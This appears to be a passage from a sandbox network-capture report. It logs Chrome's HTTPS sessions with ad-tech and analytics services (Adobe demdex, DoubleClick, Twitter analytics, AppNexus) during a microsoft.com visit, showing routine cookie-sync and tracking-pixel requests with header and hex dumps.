2024-12-10 14:10:42 UTC	823	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:42 GMT Content-Type: application/json;charset=utf-8 Content-Length: 6666 Connection: close X-TID: rN3RSclNT3k= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" Access-Control-Allow-Origin: https://www.microsoft.com Vary: Origin Access-Control-Allow-Credentials: true DCS: dcs-prod-irl1-1-v069-03b8ab54b.edge-irl1.demdex.com 3 ms set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:42 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:42 UTC	6666	IN	Data Raw: 7b 22 64 5f 6d 69 64 22 3a 22 34 36 37 39 35 36 32 30 32 38 39 35 36 31 30 32 35 32 31 33 33 39 39 30 35 35 39 35 30 35 33 33 38 30 33 35 30 35 22 2c 22 69 64 5f 73 79 6e 63 5f 74 74 6c 22 3a 36 30 34 38 30 30 2c 22 64 5f 62 6c 6f 62 22 3a 22 36 47 31 79 6e 59 63 4c 50 75 69 51 78 59 5a 72 73 7a 5f 70 6b 71 66 4c 47 39 79 4d 58 42 70 62 32 7a 58 35 64 76 4a 64 59 51 4a 7a 50 58 49 6d 64 6a 30 79 22 2c 22 64 63 73 5f 72 65 67 69 6f 6e 22 3a 36 2c 22 64 5f 6f 74 74 6c 22 3a 37 32 30 30 2c 22 69 62 73 22 3a 5b 7b 22 69 64 22 3a 22 34 31 31 22 2c 22 74 74 6c 22 3a 31 30 30 38 30 2c 22 74 61 67 22 3a 22 69 6d 67 22 2c 22 66 69 72 65 55 52 4c 53 79 6e 63 22 3a 31 2c 22 73 79 6e 63 4f 6e 50 61 67 65 22 3a 31 2c 22 75 72 6c 22 3a 5b 22 2f 2f 63 6d 2e 65 76 65 72 Data Ascii: {"d_mid":"46795620289561025213399055950533803505","id_sync_ttl":604800,"d_blob":"6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y","dcs_region":6,"d_ottl":7200,"ibs":[{"id":"411","ttl":10080,"tag":"img","fireURLSync":1,"syncOnPage":1,"url":["//cm.ever

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	50004	54.171.149.245	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:44 UTC	519	OUT	GET /id?d_visid_ver=4.4.0&d_fieldgroup=MC&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&ts=1733839840368 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374
2024-12-10 14:10:45 UTC	713	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:44 GMT Content-Type: application/json;charset=utf-8 Content-Length: 6649 Connection: close X-TID: IIVorQDTTfo= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" DCS: dcs-prod-irl1-1-v069-0e2a39107.edge-irl1.demdex.com 2 ms set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:44 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:45 UTC	6649	IN	Data Raw: 7b 22 64 5f 6d 69 64 22 3a 22 34 36 37 39 35 36 32 30 32 38 39 35 36 31 30 32 35 32 31 33 33 39 39 30 35 35 39 35 30 35 33 33 38 30 33 35 30 35 22 2c 22 69 64 5f 73 79 6e 63 5f 74 74 6c 22 3a 36 30 34 38 30 30 2c 22 64 5f 62 6c 6f 62 22 3a 22 52 4b 68 70 52 7a 38 6b 72 67 32 74 4c 4f 36 70 67 75 58 57 70 35 6f 6c 6b 41 63 55 6e 69 51 59 50 48 61 4d 57 57 67 64 4a 33 78 7a 50 57 51 6d 64 6a 30 79 22 2c 22 64 63 73 5f 72 65 67 69 6f 6e 22 3a 36 2c 22 64 5f 6f 74 74 6c 22 3a 37 32 30 30 2c 22 69 62 73 22 3a 5b 7b 22 69 64 22 3a 22 34 31 31 22 2c 22 74 74 6c 22 3a 31 30 30 38 30 2c 22 74 61 67 22 3a 22 69 6d 67 22 2c 22 66 69 72 65 55 52 4c 53 79 6e 63 22 3a 31 2c 22 73 79 6e 63 4f 6e 50 61 67 65 22 3a 31 2c 22 75 72 6c 22 3a 5b 22 2f 2f 63 6d 2e 65 76 65 72 Data Ascii: {"d_mid":"46795620289561025213399055950533803505","id_sync_ttl":604800,"d_blob":"RKhpRz8krg2tLO6pguXWp5olkAcUniQYPHaMWWgdJ3xzPWQmdj0y","dcs_region":6,"d_ottl":7200,"ibs":[{"id":"411","ttl":10080,"tag":"img","fireURLSync":1,"syncOnPage":1,"url":["//cm.ever

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.4	50005	63.140.62.27	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:44 UTC	748	OUT	GET /id?d_visid_ver=4.4.0&d_fieldgroup=A&mcorgid=EA76ADE95776D2EC7F000101%40AdobeOrg&mid=46795620289561025213399055950533803505&ts=1733839842479 HTTP/1.1 Host: msftenterprise.sc.omtrdc.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://www.microsoft.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:10:45 UTC	442	IN	HTTP/1.1 200 OK access-control-allow-origin: https://www.microsoft.com access-control-allow-credentials: true date: Tue, 10 Dec 2024 14:10:45 GMT p3p: CP="This is not a P3P policy" server: jag vary: Origin content-type: application/x-javascript;charset=utf-8 content-length: 2 cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close
2024-12-10 14:10:45 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	50008	54.154.212.37	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:45 UTC	754	OUT	GET /dest5.html?d_nsid=0 HTTP/1.1 Host: mscom.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://www.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374
2024-12-10 14:10:45 UTC	607	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:45 GMT Content-Type: text/html;charset=UTF-8 Content-Length: 6983 Connection: close X-TID: MGM5J5VYROs= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" Accept-Ranges: bytes last-modified: Mon, 11 Nov 2024 10:05:48 GMT DCS: dcs-prod-irl1-1-v069-014639bbd.edge-irl1.demdex.com 0 ms
2024-12-10 14:10:45 UTC	6983	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 6c 6f 6f 73 65 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 74 69 74 6c 65 3e 41 64 6f 62 65 20 41 75 64 69 65 6e 63 65 4d 61 6e 61 67 65 72 3c 2f 74 69 74 6c 65 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html lang="en-US"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Adobe AudienceManager</title><script type="text/javas

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	50016	54.154.234.207	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:46 UTC	934	OUT	GET /id?d_visid_ver=4.4.0&d_fieldgroup=AAM&d_rtbd=json&d_ver=2&d_orgid=EA76ADE95776D2EC7F000101%40AdobeOrg&d_nsid=0&d_mid=46795620289561025213399055950533803505&d_blob=6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y&d_cid_ic=MC1%01e984274b42544a629c3b1a12c2a86892%012&ts=1733839844796 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: / Origin: https://www.microsoft.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374
2024-12-10 14:10:47 UTC	823	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:46 GMT Content-Type: application/json;charset=utf-8 Content-Length: 6666 Connection: close X-TID: 6J7BQSEiRE0= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" Access-Control-Allow-Origin: https://www.microsoft.com Vary: Origin Access-Control-Allow-Credentials: true DCS: dcs-prod-irl1-2-v069-0ef6d5ec7.edge-irl1.demdex.com 7 ms set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:46 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:47 UTC	6666	IN	Data Raw: 7b 22 64 5f 6d 69 64 22 3a 22 34 36 37 39 35 36 32 30 32 38 39 35 36 31 30 32 35 32 31 33 33 39 39 30 35 35 39 35 30 35 33 33 38 30 33 35 30 35 22 2c 22 69 64 5f 73 79 6e 63 5f 74 74 6c 22 3a 36 30 34 38 30 30 2c 22 64 5f 62 6c 6f 62 22 3a 22 36 47 31 79 6e 59 63 4c 50 75 69 51 78 59 5a 72 73 7a 5f 70 6b 71 66 4c 47 39 79 4d 58 42 70 62 32 7a 58 35 64 76 4a 64 59 51 4a 7a 50 58 49 6d 64 6a 30 79 22 2c 22 64 63 73 5f 72 65 67 69 6f 6e 22 3a 36 2c 22 64 5f 6f 74 74 6c 22 3a 37 32 30 30 2c 22 69 62 73 22 3a 5b 7b 22 69 64 22 3a 22 34 31 31 22 2c 22 74 74 6c 22 3a 31 30 30 38 30 2c 22 74 61 67 22 3a 22 69 6d 67 22 2c 22 66 69 72 65 55 52 4c 53 79 6e 63 22 3a 31 2c 22 73 79 6e 63 4f 6e 50 61 67 65 22 3a 31 2c 22 75 72 6c 22 3a 5b 22 2f 2f 63 6d 2e 65 76 65 72 Data Ascii: {"d_mid":"46795620289561025213399055950533803505","id_sync_ttl":604800,"d_blob":"6G1ynYcLPuiQxYZrsz_pkqfLG9yMXBpb2zX5dvJdYQJzPXImdj0y","dcs_region":6,"d_ottl":7200,"ibs":[{"id":"411","ttl":10080,"tag":"img","fireURLSync":1,"syncOnPage":1,"url":["//cm.ever

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.4	50017	63.140.62.222	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:46 UTC	491	OUT	GET /id?d_visid_ver=4.4.0&d_fieldgroup=A&mcorgid=EA76ADE95776D2EC7F000101%40AdobeOrg&mid=46795620289561025213399055950533803505&ts=1733839842479 HTTP/1.1 Host: msftenterprise.sc.omtrdc.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:10:47 UTC	378	IN	HTTP/1.1 200 OK access-control-allow-origin: * date: Tue, 10 Dec 2024 14:10:47 GMT p3p: CP="This is not a P3P policy" server: jag vary: Origin content-type: application/x-javascript;charset=utf-8 content-length: 2 cache-control: no-cache, no-store, max-age=0, no-transform, private x-xss-protection: 1; mode=block x-content-type-options: nosniff connection: close
2024-12-10 14:10:47 UTC	2	IN	Data Raw: 7b 7d Data Ascii: {}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	50024	35.244.154.8	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:47 UTC	637	OUT	GET /365868.gif?partner_uid=46356403213087719583427206263392261374 HTTP/1.1 Host: idsync.rlcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:10:48 UTC	736	IN	HTTP/1.1 307 Temporary Redirect Cache-Control: no-cache, no-store Location: https://idsync.rlcdn.com/1000.gif?memo=CKyqFhIxCi0IARCYEhomNDYzNTY0MDMyMTMwODc3MTk1ODM0MjcyMDYyNjMzOTIyNjEzNzQQABoNCOiX4boGEgUI6AcQAEIASgA P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: rlas3=57Q4X5tKGX/rTnRO+Zau1605eTDUKia/WnHZLKpHdeI=; Path=/; Domain=rlcdn.com; Expires=Wed, 10 Dec 2025 14:10:48 GMT; Secure; SameSite=None Set-Cookie: pxrc=CAA=; Path=/; Domain=rlcdn.com; Expires=Sat, 08 Feb 2025 14:10:48 GMT; Secure; SameSite=None Timing-Allow-Origin: * Date: Tue, 10 Dec 2024 14:10:48 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	50023	54.154.234.207	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:47 UTC	713	OUT	GET /ibs:dpid=411&dpuuid=Z1hL5gAAAMiWjgOJ HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=46356403213087719583427206263392261374; dextp=358-1-1733839845853\|477-1-1733839845975
2024-12-10 14:10:48 UTC	891	IN	HTTP/1.1 200 OK Date: Tue, 10 Dec 2024 14:10:48 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: Xf/akxrMSOw= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-079032980.edge-irl1.demdex.com 2 ms set-cookie: dpm=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:48 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=46356403213087719583427206263392261374; Max-Age=15552000; Expires=Sun, 08 Jun 2025 14:10:48 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-10 14:10:48 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	50033	104.244.42.67	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:48 UTC	648	OUT	GET /i/adsct?p_user_id=46356403213087719583427206263392261374&p_id=38594 HTTP/1.1 Host: analytics.twitter.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:10:48 UTC	571	IN	HTTP/1.1 200 OK date: Tue, 10 Dec 2024 14:10:48 GMT perf: 7402827104 server: tsa_b set-cookie: personalization_id="v1_MSoHOj68G11kmb5OzRmNlA=="; Max-Age=63072000; Expires=Thu, 10 Dec 2026 14:10:48 GMT; Path=/; Domain=.twitter.com; Secure; SameSite=None content-type: image/gif;charset=utf-8 cache-control: no-cache, no-store, max-age=0 content-length: 43 x-transaction-id: 17b4b01d5838ef16 strict-transport-security: max-age=631138519 x-response-time: 6 x-connection-hash: 3385a9a97d228f969b2baec88a113b28e13b59a94652a34a2345a0e151803495 connection: close
2024-12-10 14:10:48 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 09 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	50027	172.217.17.66	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:48 UTC	797	OUT	GET /pixel?google_nid=adobe_dmp&google_cm&gdpr=0&gdpr_consent=&google_hm=NDYzNTY0MDMyMTMwODc3MTk1ODM0MjcyMDYyNjMzOTIyNjEzNzQ= HTTP/1.1 Host: cm.g.doubleclick.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:10:49 UTC	880	IN	HTTP/1.1 302 Found P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: https://cm.g.doubleclick.net/pixel?google_nid=adobe_dmp&google_cm=&gdpr=0&gdpr_consent=&google_hm=NDYzNTY0MDMyMTMwODc3MTk1ODM0MjcyMDYyNjMzOTIyNjEzNzQ=&google_tc= Date: Tue, 10 Dec 2024 14:10:48 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, must-revalidate Cross-Origin-Resource-Policy: cross-origin Content-Type: text/html; charset=UTF-8 Server: HTTP server (unknown) Content-Length: 378 X-XSS-Protection: 0 Set-Cookie: test_cookie=CheckForPermission; expires=Tue, 10-Dec-2024 14:25:48 GMT; path=/; domain=.doubleclick.net; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-12-10 14:10:49 UTC	378	IN	Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 33 30 32 20 4d 6f 76 65 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 63 6d 2e 67 2e 64 6f 75 62 6c 65 63 6c 69 63 6b 2e 6e 65 74 2f 70 69 78 65 6c 3f 67 6f 6f 67 6c 65 5f 6e 69 64 3d 61 64 6f 62 65 5f 64 6d 70 26 61 6d 70 3b 67 6f 6f 67 6c 65 5f 63 6d 3d 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 Data Ascii: <HTML><HEAD><meta http-equiv="content-type" content="text/html;charset=utf-8"><TITLE>302 Moved</TITLE></HEAD><BODY><H1>302 Moved</H1>The document has moved<A HREF="https://cm.g.doubleclick.net/pixel?google_nid=adobe_dmp&google_cm=&gdpr=0&g

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	50022	37.252.171.149	443	1312	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-10 14:10:48 UTC	644	OUT	GET /getuid?https%3A%2F%2Fdpm.demdex.net%2Fibs%3Adpid%3D358%26dpuuid%3D%24UID HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-10 14:10:48 UTC	1494	IN	HTTP/1.1 307 Redirection Server: nginx/1.23.4 Date: Tue, 10 Dec 2024 14:10:48 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://ib.adnxs.com/bounce?%2Fgetuid%3Fhttps%253A%252F%252Fdpm.demdex.net%252Fibs%253Adpid%253D358%2526dpuuid%253D%2524UID AN-X-Request-Uuid: c052244c-264f-4cab-bc49-5869d15c07a6 Set-Cookie: XANDR_PANID=jCJvPTTfpni5NPC1PhDUL-ybYzWXeoUE32XRKIyOtKxoAMYLfqWe8xBepN0Sk2OMRuZtfGZvwxmg9FgOVQSt-sTwhHtD74XBbvp-CrVsdDU.; SameSite=None; Path=/; Max-Age=7776000; Expires=Mon, 10-Mar-2025 14:10:48 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Tue, 28-Nov-2034 14:10:48 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=6105356000114051776; SameSite=None; Path=/; Max-Age=7776000; Expires=Mon, 10-Mar-2025 14:10:48 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 984.bm-nginx-loadbalancer.mgmt.fra1.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.4	50036	54.171.149.245	443

Timestamp	Bytes transferred	Direction	Data
